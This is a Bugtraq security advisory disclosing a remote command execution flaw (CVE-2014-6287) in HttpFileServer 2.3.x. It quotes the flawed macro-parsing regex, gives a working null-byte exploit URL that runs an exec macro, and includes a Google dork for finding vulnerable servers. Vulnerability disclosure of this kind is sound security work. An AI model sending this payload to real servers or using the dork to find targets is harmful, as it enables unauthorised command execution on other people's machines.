bugtraq - HttpFileServer 2.3.x Remote Command Execution

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Date: Fri, 12 Sep 2014 10:13:46 GMT
From: danielelinguaglossa@...il.com
To: bugtraq@...urityfocus.com
Subject: HttpFileServer 2.3.x Remote Command Execution

Affected software: http://sourceforge.net/projects/hfs/
Version : 2.3x
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 11-09-2014
# Remote: Yes
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

issue exists due to a poor regex in the file ParserLib.pas


function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;


it will not handle null byte so a request to

http://localhost:80/search=%00{.exec|cmd.}

will stop regex from parse macro , and macro will be executed and remote code injection happen.